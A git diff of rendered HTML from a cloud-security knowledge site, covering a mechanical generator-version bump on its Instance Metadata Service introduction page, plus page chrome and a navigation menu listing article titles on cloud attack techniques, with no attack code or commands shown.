17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/general-knowledge/intro_metadata_service/index.html b/aws/general-knowledge/intro_metadata_service/index.html
index 3d8a8c387..8d668738c 100644
--- a/aws/general-knowledge/intro_metadata_service/index.html
+++ b/aws/general-knowledge/intro_metadata_service/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An introduction to the Instance Metadata Service and how to access it."><link href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ rel=canonical><link href=../iam-key-identifiers/ rel=prev><link href=../introduction_user_data/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Introduction to the Instance Metadata Service - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Introduction to the Instance Metadata Service - Hacking The Cloud"><meta property=og:description content="An introduction to the Instance Metadata Service and how to access it."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Introduction to the Instance Metadata Service - Hacking The Cloud"><meta property=twitter:description content="An introduction to the Instance Metadata Service and how to access it."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An introduction to the Instance Metadata Service and how to access it."><link href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ rel=canonical><link href=../iam-key-identifiers/ rel=prev><link href=../introduction_user_data/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Introduction to the Instance Metadata Service - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Introduction to the Instance Metadata Service - Hacking The Cloud"><meta property=og:description content="An introduction to the Instance Metadata Service and how to access it."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Introduction to the Instance Metadata Service - Hacking The Cloud"><meta property=twitter:description content="An introduction to the Instance Metadata Service and how to access it."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#how-to-access-the-metadata-service class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-the-metadata-service class=md-nav__link> <span class=md-ellipsis> How to Access the Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#the-security-benefits-of-imdsv2 class=md-nav__link> <span class=md-ellipsis> The Security Benefits of IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#what-info-the-metadata-service-contains class=md-nav__link> <span class=md-ellipsis> What Info the Metadata Service Contains </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a 